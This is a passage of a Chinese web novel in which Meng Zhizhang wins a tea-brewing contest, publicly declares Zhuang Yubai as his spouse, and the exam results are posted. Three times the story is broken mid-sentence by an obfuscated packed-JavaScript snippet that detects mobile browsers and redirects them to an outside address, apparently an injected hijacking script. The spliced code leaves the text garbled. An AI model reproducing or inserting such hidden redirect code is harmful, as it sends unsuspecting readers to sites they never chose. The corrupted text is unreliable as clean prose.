那讨人嫌之人还不算完，非要让自己当面向孟知彰请教。骆耀庭何时受过这般屈辱，心中的那份骄傲，一下被戳痛。 他脸上挂不住，小厮先他一步向前与那人呛声，骆耀庭挥手止住。一只手攥得青筋暴出，奋力背至身后，转身去了。 “公子，我去找几个人来！”骆家小厮这也是第一次见自家公子受委屈，心中跟着难受，“他们说您这是叶公好龙的臭毛病。” 骆耀庭忽然停住，一双俊美的眼睛此时因愤怒而布满红丝，极力压制情绪和声调：“去将家中所有临摹的那些帖子全部烧掉！全部不留！” “公子，您花了那么时间，没日没夜地临摹抄写，小的看着都辛苦，您……您真舍得烧掉？” 当初有多恭敬谦卑，此时就有多屈辱羞愤。骆耀庭第一次当街失仪，抬脚踢了自己的小厮，话也是从牙缝挤出去的：“少废话，让你去，你就去！” 有心思灵活的立马推测出孟知彰与南先生交情绝非一般。南先生爱书如命，若非亲信之人，断然不可能将这些善本书、甚至孤本书交由对方抄写。既然是南先生器重之人，想来也定非池中之物，将来飞升是迟早的事。 知府大人一行刚离开，孟知彰所在的原来茶坊摊位立马围了个水泄不通。 先是上来一群求字的，从着装看不乏三省书院学子，当然也有一些行商走贩。有人带着扇面，有人携带笺纸，没有提前准备纸笔的，甚至直接撩起丝绸衣衫，请孟知彰在背上提笔赐字。无需多言，求的最多的，就是方才孟知彰题在茶汤上的那首诗。 孟知彰知道，孟知彰不知道的是，短短十几日满城都在疯传他的字，甚至到了一字难求的局面，更有甚者竟被人哄抬至二十两银子一字的天价。 周掌柜这边也忙得不亦乐乎，全是来打听茶炭的。有炭商，有茶商，连此次清会上对自己持有敌意的同行也收拾好情绪，满脸堆笑地来了。 虽然前几天兰因茶和兰花炭在这清会上已经打出一些名气，但和今日学政大人亲口夸赞这兰花炭的影响力还是没法比。方才孟知彰让出机会让自己在各位大人面前露了脸，自己也定是那知恩图报之人，何况这兰花炭原本就是庄聿白的独家研制的。 周青带着牛大有一起，极力宣传着这兰花炭的妙绝之处，甚至帮庄聿白接了不少打算采买兰花炭的客商名帖。 另一边，庄聿白和薛启辰也没闲着，甚至比孟知彰和周掌柜还要忙。庄聿白极力打造孟知彰的单身人设，有心之人自会用心。 虽说孟知彰眼下只是个清贫书生，但能有这样一手茶技，想来定非凡品，加上学政大人方才欲言未言的态度，大家似乎也暗暗品出一些信息来。更听闻还有南先生这层关系，家中有女待字闺中的纷纷来递帖子。 庄聿白和薛启辰另起一桌，现场帮孟知彰进行初步筛选，年方几何，高矮胖瘦，偏爱喜好等等皆列了详细表格，一目了然。等会孟知彰忙好题字的事情就可以进行地二轮筛选。不过庄聿白对种当事人双方皆不在场的大型“相亲”活动很不擅长，便拉着薛启辰一起掌眼。 薛启辰最爱凑热闹，这种事找他算是找对了。俩人一拍即合，不消两炷香时间便收了几十张名帖。 庄聿白将这厚厚一沓相亲名帖和初步匹配分析表搬到孟知彰面前时，孟知彰正将刚写好的一个扇面递还给恭敬又仰慕地等在一旁的求字者。 “哎，你得空时看看哈。”庄聿白悄悄拽拽孟知彰的袖子，递了个神秘的眼神，“都是热情的府城人们，对你的爱慕。” 孟知彰只瞥了一眼，敛气凝神，一言未发，接过递来的宣纸或扇面等物，一门心思认真去题他的字。好像庄聿白此时根本没来自己身边。 随着知府、学政、南先生一行人到达河边凉亭，这场为期半月的斗茶清会马上迎来最激动人心的时刻。三件万众期待的彩头，已经摆在凉亭中的紫檀茶桌上。 三秋桂子之香，与人群议论之声，在浣墨河上空氤氲飘荡。 力挺骆家之人仍占多数，骆家大公子亲自登台，公子人如玉，茶技世无双，想不夺冠都难。 至于另外两件彩头滑落谁家，猜测不一。有人认为那外乡来的水丹青书生，或许能有幸跻身其中。言语一出，立马遭到众人质疑。历届茶魁皆出自府城，今年自然也不会例外。那书生书法确实好，茶艺么，也还行。可就算再好，能灭过骆家的秩序去么？就算知府大人和学政大人想让他位列前三，给他个名次，但也不能不给府城名流面子吧？ 路见不平，自有正义之士出手。面子不面子的，都是狗屁。人家有真本事，凭什么不给名次！难道历届茶魁都出于世家大族，今年就必须如此！若是这样，还装模作样搞什么墨斗？直接按照家世来排就是了，还装模作样搞这一套形式作甚！ 众人正吵得不可开交，知府大人立于亭中朝着人群挥挥手，全场顺时安静下来。 关于这次的墨斗人选，评审团已有判断，前三名中一定有骆耀庭和孟知彰，至于另外一位，众人票选出一位王姓书生。 “学政大人，这茶魁花落谁家呢？”知府笑问。 “知府大人心中已有人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15089613|157868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 选，不是么？老夫亦觉此人最好。” 一时骆耀庭、孟知彰与那位王姓书生被请至凉亭。众人的目光却被孟知彰手上厚厚一摞名帖吸引过去。 孟知彰不仅接了庄聿白给他接来的名帖，还悉数带至众人面前。 骆耀庭眼珠微转，耷拉下眼皮，心中暗哼，小门小户就是这般没见过世面的样子。不知道的还以为你得了今日的茶魁呢。不就是别人递来了几张名帖么，也至于这么兴师动众搬到知府大人和学政大人跟前显摆？ 孟知彰向亭中众人告了罪，说明帖子来由，并请示是否可以借此机会说上几句话。 得到应允后，孟知彰立于亭内，向亭下围聚人群深深行了一礼。 “在下孟知彰，此前恐出现一些误会，有负诸位厚爱，这些名帖恕孟某奉还。实则我家中已有夫郎，且我二人相知相许已久。孟知彰着实不是合适人选。” 孟知彰在人群中找到庄聿白的身影。 “昔日，夫郎未因我家境贫寒而弃之不顾。今日，我孟知彰又岂能因一时势起而弃他不顾。贫贱夫夫百事乖，但我二人素来同心同德，齐心齐力。有夫郎一人，我孟知彰此生足矣。” “你已成家？”学政拈须看着眼前书生，眼神中颇有些对孟知彰英年早婚的遗憾。 “是。”孟知彰郑重拱手。 凉亭不远处，陪在庄聿白身边的薛启辰已经哭得上气不接下气：“天下竟然有如此至情至性之人……琥珀兄，他家夫郎是否一同跟来……” 庄聿白看着身边的泪人，递了块巾帕过去，支支吾吾半天，也没说出过一二三。 递在半空的巾帕还没被泪人接过去，庄聿白面前人流忽然闪开，形成一条清晰的道路。 人群中，孟知彰正款步走来，微风拂动他的袖衫，翩翩然若一名威武骑士。每一步都无比坚定，每一步都像经过精心设计，让人心安，又让人心乱。 孟知彰面上没有太多表情，眼神中更看不出什么异常，但庄聿白就是知道要出事了，出大事。他的心怦怦怦怦跳起来，越跳越快。庄聿白下意识想去拉身旁的薛启辰救场。 先他一步，那个熟悉的人已到近前，不知何时，自己的手已被那双熟悉的大手包裹牵紧，慢慢向前带。 无数目光注视下，庄聿白被孟知彰牵着，一步一步拾阶而上，这种感觉很奇妙。他不知走去何方，他也不知接下来要面对的又会是什么。但有这只大手牵着，有这个人陪在身边，纵周遭纷扰，纵前路迷茫，庄聿白的心却无比安定。 类似场景后来在庄聿白的梦境中出现过很多次，梦中身边的面孔更为陌生也更让人难以捉摸。但握着孟知彰的手，庄聿白的脚步就有了方向。最开始庄聿白安慰自己说这是好兄弟之间的信任，不足为怪。可渐渐的，那便不那么认为了。 因为梦中跟着孟知彰去到的终点，越来越让庄聿白羞得难以启齿。 70. 茶魁 穿过周遭拥挤人群，穿过名流士绅的探究眼神，穿过浣墨河上的窃窃私语…… 孟知彰牵着庄聿白的手，走向当下东盛府最受瞩目的所在。 庄聿白一时不知自己该以什么身份站在孟知彰身边。他边走边尴尬地冲路过的人群微笑点头，尽可能维持住得体的社交礼仪。 孟知彰的手，却牵得暧昧又笃定。庄聿白挣扎两下，试图提醒对方满府城最有影响力的人可都在了，你却众目睽睽下与人拉拉扯扯纠缠不清，孟知彰，你的仕途，你的光明未来还要不要？ 当然庄聿白的挣扎都是徒劳的，孟知彰的胳膊如坚实铁臂，哪是庄聿白能挣托得了的。 嘈切细碎的议论声浪忽然高扬，变成此起彼伏的欢呼声，“茶魁”“茶魁”…… 道路在二人面前分开，又快速在二人身后聚合，并不太长的人墙路上，随着“茶魁”声起，一时间各类彩头从天而降。香囊、秀帕、荷包，甚至花朵、玉佩等纷纷扬扬，迷了庄聿白的眼。 惊诧至于，庄聿白才意识到当下正在发生什么。他另一只手上前抓上孟知彰的胳膊，满眼星星：“孟知彰，你拿到了茶魁！茶魁诶，是真的么？有奖金吗……对对，有的，有彩头！” “开心么？”孟知彰回转头，温柔笑意抹上唇角，那么柔，就像此刻他颈弯处透出的阳光一般明媚。 光线扫在毛茸茸的睫羽，在白皙的面颊留下两弯细细的阴影，庄聿白不觉眯起眼，笑嘻嘻地露出两颗小虎牙。 “嗯嗯嗯！”庄聿白快乐小狗一般兴奋地点着头，脚下却像被施了蛊，跟着孟知彰的节奏不受控地向前走去。 庄聿白觉得自己整个人被塞得满满的。阳光暖洋洋，阳光下的孟知彰暖洋洋，此刻看着孟知彰的他，心中也是暖洋洋的明亮一片。 庄聿白的眼睛又弯了弯，原来“开心”真的可以具象地触摸到。 庄聿白往人群看去，试图和牛大有与薛启辰分享这个天大的好消息，一个个陌生面孔堆成的人墙挡去了所有视线。没关系，想必他们很快也就知道了。 庄聿白将视线转回手中牵着的孟知彰身上。剑眉星目，如朗月在怀。庄聿白的心忽地漏了半拍，刚才孟知彰是对自己笑了笑么？ 这种感觉，好奇妙……像被一只小猫尾巴来回轻扫。庄聿白心中痒痒的。 一路欢呼与头彩翻飞中，孟知彰将庄聿白带至亭中。 庄聿白紧紧跟在孟知彰身侧，忽然人墙消失、视野豁然开朗，凉亭近在眼前，其内一众人纷纷看过来。 浣墨河水面宽阔，阳光一洒，碎金粼粼。庄聿白有些恍惚，他忽然猜到孟知彰的用意，但此时逃走为时已晚，庄聿白觉得手背被那只温暖的大手轻轻按了下。 东盛府最高长官以及所有有头有脸的人，全在这了。不管自己和孟知彰是何身份，此刻与对方都是与对方完全绑定的。绝对不能扯孟知彰后腿。 孟知彰侧转半身与庄聿白比肩而立，向对方递了个眼神。庄聿白心中了然，默契地同孟知彰一起，向亭中众人一起郑重施了一礼。 “学生孟知彰携夫郎庄聿白，见过知府大人、学政大人、南先生及众位先生。” 庄聿白只知道跟着孟知彰有样学样，他不知道这一礼，就算拜过尊长、拜过恩师了。 亭子中的骆耀庭一身锦衣绣服华彩熠熠，只是阴着张脸，笑意僵硬。虽极力表现得云淡风轻，大度克制，仍不□□露出三分不悦。 庄聿白冲其点下头，算是打过了招呼。他自己也没想到夺魁之声最盛的骆家大公子，此次竟然与茶魁之位失之交臂。嗐！那能怎么办呢？还是自己抱住大腿的这位书生厉害呗。 作为赢家，要云淡风轻，这样才显得有风度。庄聿白尽量控制自己咧得太开的嘴角，以免刺痛到某些人。好在很快他的视线就被紫檀小桌上摆着的几样彩头吸引。 这端砚果然非同一般。细润如玉，柔腻如羽。水波折射其上，流光溢彩瞬时有了具体形状。价值连城的砚台马上就能抱回家咯。 庄聿白一双眼睛长在砚台上的时候，身旁的孟知彰正温文尔雅地同这群身份尊贵的大人尊长们，品评着这几件彩头。赞美之词太过文气，庄聿白给自己中翻中了一下，无外乎夸赞这些彩头很好、甚好、非常好。 忽然孟知彰向前跨出一步，这是要去选彩头了。庄聿白这才想起来自己尚未来得及提醒他选砚台。 他往前也跟了半步，又立马止住。当着这么多双眼睛指挥孟知彰去选砚台，恐不太好。凡事听老婆的，会给别人留下话柄，说孟知彰惧内、没主见。 毕竟现在自己的身份是孟知彰的夫郎。 说到这一点，庄聿白品出些味道来。孟知彰不仅当众将自己给他收集来的名帖全退了回去，还高声宣布自己夫郎，一来二去还把自己带到众人面前。这……这不是绝了自己通过姻亲结交权贵的念想了么。孟知彰，真有你的！ 此时稍后再议，眼下最重要的是将这砚台收入囊中。庄聿白知道孟知彰最是有眼光的，想来也会看中那块砚台。他望眼欲穿，似乎自己已经将这块砚台捧在手心里反复摩挲，沉甸甸，冰凉凉，柔腻腻。 亭中与庄聿白一样紧张的还有骆耀庭。这块砚台他自是心仪已久，今日竟要硬生生被这村夫从自己手中抢走。真是苍天负我！他面上一片随和，标准的公关笑容拿捏到好处。而遮盖住的袖管中，一双手攥得咯吱响。 果不其然，孟知彰站定在了砚台跟前。骆耀庭深吸一口气，他似乎听到自己破碎的声音。衣袖下的拳头又紧了紧，微微扬起下巴。世家公子的骄傲，不能丢。 骆耀庭忍得有些辛苦，他刚想将视线移开，装出满不在乎的模样，谁知眼睛和嘴巴一起却越张越大。 孟知彰一双手掠过砚台，直接取了彩头中那半块茶饼。 茶饼？！ 选砚台啊！砚台！怎么挑了茶饼！庄聿白以为自己眼花了，恨不能冲上前，抓住孟知彰的手让他重新选。孟知彰啊孟知彰，咱好不容易赢了，选个贵的不好么！ 全场也是一阵细微骚动，众人也没理解孟知彰为何会选了此次彩头中最不起眼的一件。 学政大人再次笑着打量孟知彰：“这砚台可是名贵得紧。你，果真要选这半块茶饼？” 孟知彰将茶饼仔细捧在手心：“是。学生要选的就是这茶饼。” “说说为何。”清风中，学政冲孟知彰点点头。 孟知彰转身回来，将茶饼双手捧与庄聿白。庄聿白原本有些小不爽，不知为何竟没有任何迟疑地将茶饼恭敬接在手上。 庄聿白看着手上这半块茶，心中还是叹了气。他原以为孟知彰会同那几位老头子再交谈一番，谁知竟站在自己面前不走了。 “庄聿白。”孟知彰的声音在头顶传来。庄聿白下意识抬头，视线却撞进孟知彰那湾幽如深潭的眸子，头皮却跟着一阵发麻。 孟知彰气息逼近，庄聿白喉结一哽，心脏也跟着停了一拍。 救命！孟知彰你离我这么近做什么！你以为这是关灯之后只有你我在的被窝吗？这么多人看着，你直愣愣看着我，是几个意思？我躲还是不躲？ 庄聿白是想躲开一些，保持得体的社交距离的。可他莫名浑身僵硬，双腿更是不听使唤。若非自己意志坚定，孟知彰这摄人心魄的眼神直直看过来，换做任何一个旁人，恐怕此时已脚下一软，瘫坐在地上了。 “庄聿白。”孟知彰又唤了一声。 “……嗯？”庄聿白终于滚了下喉结。不知何时他又屏住了呼吸。 不过接下来孟知彰的话，听得庄聿白以为自己高原反应的病情又加剧了，呼吸一阵憋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15092930|157868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 似一阵，脑中更是一阵阵缺氧。庄聿白耳中接收到的信息，就像窃听来的加密情报，断断续续，混混沌沌。 “……夫郎待孟某恩深义重，孟某无夫郎无以至今日……不嫌吾家贫，不弃吾貌丑……孟某此生难报万一。孟某今日将所赢之茶饼，为夫郎添妆。茶不移本，从一而终。此生此世，只有夫郎一人……” 后面的事，庄聿白已经记不清了。他也想不起自己怎么从亭子上走下来的。等他终于回过神，呼吸也顺畅时，自己已经被孟知彰牵着手，往贡院方向走去。 院试马上张榜了。 “茶魁而已，有什么大不了。玩物丧志，茶道即便再好也只是末流。” 看榜路上，骆耀庭的小厮极力安抚着自家公子的情绪。 “读书求仕才是公子当下最该做之事。他一穷书生，不知天高地厚，倒把心思放在这不入流的茶道上面，真是误入歧途而不知。等会他看到自己榜上无名，只能将这彩头卖个几两银子支撑他回去继续读书，只是不知道够不够撑到他后年再来赴试之时了。” “那半块茶饼是御赐的‘龙园胜雪’又如何？过了今日谁还记得他一个穷乡僻壤来的穷小子。”另一小厮凑上来说。“听说他家都是夫郎撑着？” “什么叫‘夫郎撑着’？”骆耀庭不知想到了什么，大概以为某些人不行，脸上红一阵白一阵，一时竟没明白这句话具体所指的是什么。 “就是他家是夫郎赚钱养家。”小厮又补充，“不过听说目前只是定了亲，还没正式完婚。他方才当众那么卖力讨好他家夫郎。他家夫郎一句话都没说。估计心中看不上他，怨气比较重。” “哦？还是个吃软饭的？”骆耀庭松了口气，“没完婚就靠夫郎养着，大丈夫怎能如此没有气节？他夫郎看不上他是正常的。他长的那般高大魁梧又有何用？得了这茶魁又能如何，即便将来考取功名，甚至当朝为了官，那也是靠夫郎养家的软骨头！” 骆耀庭心中愤愤，很为庄聿白不平。那样一个小小的身板，若想撑起一个家谈何容易。骆耀庭动了助人为乐的高尚念头，交代小厮：“我与那孟氏书生都是读书之人，抽时间去递一份名帖给他家夫郎。若是他家夫郎有什么难处，大可以来找我们。我们隔三差五接济一二也未为不可。” 贡院里三层外三层围着攒动的人头，大都是来看榜的考生，以及准备榜下看婿的权势之家。骆耀庭让人将清会彩头得来的那方砚台好生送回家，交代自己看了榜就回去，让老爷和夫人不必着急。 一小厮好生捧着去了。又有小厮来报说家中庆贺的礼炮都准备就绪了，正门向外铺了足足一里远，只等公子这边喜讯一到，家中立马鞭炮点起来。还有三大抬果子小食，准备散给众人同喜，“我来时，正门前也挤满了来沾喜气的人。” 骆耀庭将身上的一个荷包随手赏了那小厮：“办得很好。到时记得另外包几份果子小食，给那孟知彰和他家夫郎送去。” 那小厮谢了赏：“明白，让他们一同沾沾公子的喜气。若此次没考过，沾了公子的才气，下次就一定能成了。我们家公子才是妥妥的文曲星下凡。” “少贫嘴。马上放榜，我们去近前看看。” “公子是榜首，名字自然高高写在最上面，远远就能看到，而且已经有人在那盯着了。公子慢慢走，不着急。那里人挤人，气味大，熏着公子就不好了。” 三两小厮上来帮骆耀庭开路的开路，扇扇子的扇扇子：“刚外面采办来回话，公子念了许久的那‘金玉满堂’托人买回来了。金贵的很，倒了好几把手，托了好几层关系才弄到。已经加进家宴上了，公子稍后就能亲自尝尝。” 骆耀庭点头，心中很是满意，并交代好生备出两份来，用外头孝敬父亲的那个楠木嵌玉的食盒仔细装好了，他要亲自送与山长和南先生。 71. 榜首 “那个……这么多人看着呢……” 庄聿白挣了挣被孟知彰牵着的手腕，小声提醒并加上眼神威胁。 当着全府城最有名望之人的面，将自己与庄聿白的身份挑破，孟知彰的行为，明摆着是不想给自己留退路。当然也没给庄聿白留退路。只要二人还在府城，夫夫这层关系就算焊死了。 咱在家时不是说好了么，即便不是夫夫，自己也会赚钱养家的，非得搞得满城皆知。高调。也不知道这副皮囊是什么做的，竟能装下他这八百个心眼子。 庄聿白挣扎到第三次，孟知彰才停住脚步，松了手，站定看着他：“茶饼收好，不要小瞧它只有半块，一则是御赐之物，二则这‘龙园胜雪’工艺非同一般，是几个砚台也换不来的。” “知道了。”庄聿白揉揉手腕，心中翻着白眼朝胸前摸去，“揣好了，孟大茶魁放心吧。” 贡院大街人来人往，众茶商、炭商等见今年茶魁和夫郎经过自己门前，都恭敬行礼致意，热情一些的，还将名帖和一些精心准备的茶饼、茶筅之类的物件作为贺礼塞过来。 盛情难却，何况大多是商铺自己商品，孟知彰便收了。庄聿白和薛启辰则帮着牛大有一起往车上装。 薛启辰他们认识这几日，不算知己也算半个好朋友了，他竟然没看出庄聿白是孟知彰夫郎，方才还兴冲冲地和庄聿白一起给孟知彰物色相亲之人。 他悄悄扯庄聿白的袖子：“哎，方才亭子中那一通言辞，我都听见了，你夫君对你用情至深呐，你为何还要将他往外推。” “我……”庄聿白欲言又止，“你还小，说了你也不懂。” 薛启辰还想狡辩几句，忽然看到什么，眼神一敛，屏气凝神，立马规矩起来。 庄聿白顺着他的视线看去，一年轻男子正走款步来。眉眼和薛启辰有几分相似，身量高些，虽一身商人装束，却难掩华然神采、轩昂之气。 “启辰，铺子今日状况如何？”薛启原朗声唤薛启辰过去。 薛启辰刚才还像只呼朋引伴的林中快乐鸟，此刻忙束了翅膀，乖乖巧巧走过去：“兄长，长嫂在，一切安好。” 薛启原叹口气，往自己这位不省心的弟弟身后看去：“你今日新结交的朋友？” 薛启辰像得了救星，忙将薛启原引过来，同庄聿白夫夫介绍。 “琥珀兄，孟公子，这位是我兄长。”又不无骄傲地向自家兄长显摆自己的新朋友，“兄长，这位是琥珀，学政大人夸赞的茶炭是他一手研制的。也是兄长此前交代我去研究的那个缘来茶坊所用的兰花炭。这位是琥珀的相公，孟知彰孟公子。” 眼下这位新晋茶魁虽不至于说满府城人尽皆知，但至少在茶行里已经算无人不晓了。尤其方才亭中夺魁、当众剖白的事迹，已成为府城街谈巷议的一段佳话。 薛启原整理下衣冠，向前恭敬行礼：“在下薛启原，恭喜孟公子，琥珀公子。” 孟知彰回礼：“贵坊赞助的王书郎斩获第三，赢得那本异常珍贵的善本书，同样可喜可贺。” 薛启辰微微一怔。 生意场上阳奉阴违、明刀暗箭见多了，几乎靠自己一人撑起整个薛家的薛启原，向来察人有道且行事谨慎周密。当然这位新晋茶魁他也着人打探过的。新到府城，人地皆不熟，但第一次见面却能准确说出王姓公子是自家赞助的，令生意场上摸爬滚打惯了的薛启原着实吃了一惊。 薛记茶坊赞助王公子墨斗之事，是一种半保密形式进行的，以免某些人家暗中捣乱，是墨斗当日才向外正式公布赞助名单。自己这位弟弟今日也只是路过家中茶坊，他此时甚至还不知道墨斗第三名出自自家茶坊。 但这位看似两耳不闻窗外事的新晋茶魁，看似全程都在关注自己，认真备茶、制茶及接受祝贺，却洞若观火、明察秋毫。不仅知道自己的位置，连各个对手的情况都了然于兄。 薛启原不觉又将这位读书人上下打量一番，沉稳儒雅、矜持斯文，眉宇间飞升之势已显。出身平平甚至可以说低微的寒门子弟，却能将世家大族倾注全族资源精心栽培多年的大公子一举击败，薛启原当即料定此人绝非久居池中之物。退一万步而言，纵使这次落榜，将来也定能鱼跃龙门，扶摇直上。 薛启原心中有了盘算，拱手笑说：“孟公子这是去看榜吧。莫急。我已派家丁在榜下守着，若看到公子之名定及时来报。” “有劳薛大公子。”孟知彰拱手致谢，又将庄聿白护在身边，“我家夫郎没见过放榜，我陪他一起去看看。” “孟公子与琥珀公子伉俪情深，着实令人羡慕。”薛启原这话虽像是现成的客套话，但他不露声色的眸子还是浮上几丝浅浅忧愁，好在转瞬即逝。 薛启原定了下神，向前紧走两步，直接挡住孟知彰二人去路，郑重又行一礼：“在下薛启原，东盛府人。薛家话事人，薛家世代于府城经商，涉及茶坊、茶炭、药材、丝绸布匹、典当等，除了府城内的几十家铺子和四郊的七八个庄子外，南北各地设有十几处分号，当然与西境等地也做些往来行商的生意。若孟公子和琥珀公子不弃，改日设宴请庆祝茶魁之喜。” 薛启原一口气将家中情况简言概述，满眼诚挚看向孟知彰。 这是投诚明志，毫不避嫌，坦坦荡荡。 士农工商，商贾之流虽掌握财富，但终究登不得大雅之堂。稍有不慎，多年经营起来的精美绝伦画舫便会在权势之手的博弈间毁之一旦。所以商贾之家大多寻求庇护，这已经不算什么秘密。 作为世代植根府城的薛家，自然不可能无依无靠，只是府城大半是骆家田地，薛家近年发展多受掣肘。薛启辰一直为家族未来寻找出路。 见到孟知彰夫夫的那一刻起，薛启辰便认定，薛家期待已久的贵人，今日来了。 庄聿白和薛启辰二人身上像装了磁铁，不觉“咔哒”挤在一起，眼珠圆睁看着眼前二人说些似乎只有大人之间才会说的、自己根本插不上嘴的正事。 庄聿白心中感慨，这难道不算妥妥的豪门世家么？没想到整日和自己混在一起的小兄弟竟是个豪门公子哥。薛启辰自己也有些反应不过来，素日兄长对自己的朋友都是爱理不理，没想到有朝一日自己结交的朋友，竟然会被兄长这般 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15097922|157868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 重视。 庄聿白和薛启辰不约而同对视一眼，将彼此的胳膊抓得更紧了。 孟知彰朝薛启原拱手回了一礼，将庄聿白牵到自己身边：“家中事，全由我家夫郎做主。我看贡院门口放榜的皂吏已经到了，或许我们先看过榜稍后再议。” 贡院大街人流开始骚动起来，三年两考的院试放榜，且是新任学政主持的第一场院试，加上府城名流骆家大公子也在其中，自然比往年更受人瞩目。三教九流之辈各有所求，皆向贡院门口聚拢。 守了半天的骆家小厮趾高气昂立在榜下，将第一排最好的位置全占去，手持锣鼓，只等他家公子的名字闪耀耀亮闪闪出现在榜首的时候，要锣鼓齐鸣好好热闹一番。一则庆祝，二则也是为外围挤不进来的家丁报个信，只要锣鼓一响，就意味着他家大公子的榜首位置稳了。 皂吏将大榜一贴，人群如张潮，一浪接一浪往榜下挤。站在榜下的骆家小厮们却有些迷茫。 小厮虽大字不识几个，但他家公子的名字还是认识的。但榜首这三个字，怎么看也不像“骆耀庭”。 怎么个事呢？ 有识字多的小厮，歪着脑袋横看竖看，手中的鼓锤都捏出了汗：“奇怪……怎么这第一个字，看着像是孟子的‘孟’……” 不等骆家小厮认清榜上的名字，以及找出他们家大公子到底在何处，“哐哐哐”忽然身后一阵锣鼓震天响起来。 骆家小厮手中鼓槌吓得掉在地上，急忙回头制止：“谁敲的！快停下！大公子不是榜首，不要乱敲！” 声音太过嘈杂喧闹，骆家小厮眼泪都要急出来了，锣鼓声浪却一阵高似一阵，根本没人听见也没人在意他在喊些什么。 守在外围的骆家小厮，一听锣鼓响了，立马撒腿就往家跑，抢着回去报喜。边跑边喊“大公子喜得榜首！大公子喜得榜首！”这天大的好事，第一个跑回去报喜的一定会得不少赏银。 听闻自己得了榜首的骆耀庭，便不再往榜前挤，寻了个阔朗之处迎风而立，等着身旁小厮逐一上前磕头讨赏。 骆耀庭自然是高兴的，不过面上不显，榜首之位早晚都是自己的，和预期一样，他让小厮去寻一下茶魁在何处，自己这个新晋榜首要同他不期而遇、简单寒暄一番。 这边薛启辰分辨出锣鼓声出自哪个方位的鼓乐手，高兴得原地跳起来。 原来薛启辰也请了一个鼓乐班子，只要榜首不是骆耀庭，他雇的这些人就敲锣打鼓庆祝。 薛启辰原本没报什么期望的，毕竟论才情骆耀庭确实有几把刷子。但今年茶魁之位，他骆耀庭也势在必得，结果还不是屈居人下？万一这院试榜首之位，也遇到“万一”呢。 “榜首真的不是骆耀庭！太好了，这可太好了！不知这次榜首是哪位仁兄。管他呢！只要不是骆家人，本公子就高兴！”薛启辰将小厮唤过来，“去看看第一名榜首是谁，就将这个鼓乐班子送那位秀才相公！” 薛启原看了一眼自己这个弟弟，心中宠溺又无奈地叹口气。 算了，想闹就闹吧。即便不小心闹出祸事来，还有兄长在。 72. 第 72 章 贡院外，锣鼓敲得震天响。骆家外围等榜的小厮一听撒腿便跑，奔走相告。瞬时，骆家大公子中了榜首的消息不胫而走，传得满城风雨。 骆耀祖玉树临风站在阔朗之处，接受着众人的恭维道贺，脸上笑意，谦和又得体，世家风范尽显。 素日跟在骆耀祖身边的那些同窗，远远看见他，也忙要围过去道喜，却见骆耀祖带人朝着一个高大书生走去。 “孟公子、庄公子好！”骆耀祖先抬手问好，一举一动，皆是谦逊和善的大家公子气度。又见薛启原和薛启辰兄弟俩也在，一道笑着寒暄，“两位薛公子也在，近来可好？” 孟知彰等皆按礼数回了礼。薛启辰悄悄拽了下庄聿白的袖子，圆圆眼睛里满是疑惑。 这骆大公子虽比他那个不着调的弟弟要强些，但向来也目下无尘的，像个骄傲的花孔雀。今日竟然能屈尊过来，先同别人行礼寒暄，也真是大半夜出太阳，稀奇。 更何况，他不是刚失了榜首之位，此刻不应该灰溜溜跑回家闭门躲着，为何竟还有闲心杵在大街上同人说笑？ 薛启辰正要问身旁小厮这骆家大公子榜上第几，却见几个身着三省书院院衫的书生从远处走了来，应该也是准备去看榜的，远远看到骆耀庭便笑着拱起手。 “恭喜骆公子，院试榜首实至名归，实至名归呐！” “我只恨自己生不逢时，无缘见识当年骆家盛况。听闻骆瞻先生是被长公主榜下捉婿的，时至今日仍是一桩美谈呐。只是天妒英才……” 大好的日子提一个死去之人，恐不吉利，有人忙将话接过去：“好在今日骆公子一试居首，又有骆家的家学渊源在这，假以时日，想来骆公子定能雏凤清于老凤声，光耀门楣，指日可待。” 这种恭维场合薛启辰向来有多远躲多远，今日一则兄长在他躲不开，二则自己正诧异，不是榜首并非骆耀庭么，这群人从哪得了假情报，在这拿着鸡毛当令箭一通盲挥、盲舞。 这种社交场合，大家子弟经得多，见得多。向来训练有素的骆耀庭，折扇轻挥，从容间与众人谈笑风生：“过誉，过誉。家中叔父乃庆鸿九年二甲第八名进士出身。吾之学识与见识自不及叔父十之一二，但叔父之教诲，吾一时未敢忘。今日院试也只是得叔父恩泽。诸位同窗，承让，承让。” 骆耀庭见众人一味捧着自己，心中自是受用的。可大家公子哥八面玲珑、周到细致的个人修养，又让他恐冷落了孟知彰，于是笑容可掬地上前半步：“不知孟公子榜上位列第几？孟公子的茶技自不必说，知府大人亲点的茶魁，若得闲时，我们也可以学习切磋一番。” 孟知彰往榜前人群看了一眼，礼仪周全地回了骆耀庭：“正与我家夫郎前去看榜，尚不是否在榜，至于位列第几，亦尚未知。” 